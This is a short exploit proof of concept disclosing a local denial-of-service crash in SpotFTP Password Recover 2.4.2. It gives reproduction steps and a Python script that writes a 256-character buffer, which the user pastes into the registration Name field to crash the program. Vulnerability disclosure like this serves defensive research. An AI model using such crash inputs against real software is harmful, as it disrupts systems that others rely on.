SpotFTP Password Recover version 2.4.2 suffers from a denial of service vulnerability.
eabd8355b16071b68076241afc368388# Exploit Title: SpotFTP Password Recover 2.4.2 - 'Name' Denial of Service (PoC)
# Discovery by: Luis Martinez
# Discovery Date: 2019-01-04
# Vendor Homepage: www.nsauditor.com
# Software Link : http://www.nsauditor.com/downloads/spotftp_setup.exe
# Tested Version: 2.4.2
# Vulnerability Type: Denial of Service (DoS) Local
# Tested on OS: Windows 10 Pro x64 es
# Steps to Produce the Crash:
# 1.- Run python code : python SpotFTP_Password_Recover_2.4.2.py
# 2.- Open SpotFTP_Password_Recover_2.4.2.txt and copy content to clipboard
# 3.- Open SpotFTP
# 4.- Register -> Enter Registration Code...
# 5.- Paste ClipBoard on "Name:"
# 6.- Key: -> L4M5
# 7.- OK
# 8.- Crashed
#!/usr/bin/env python
buffer = "\x41" * 256
f = open ("SpotFTP_Password_Recover_2.4.2.txt", "w")
f.write(buffer)
f.close()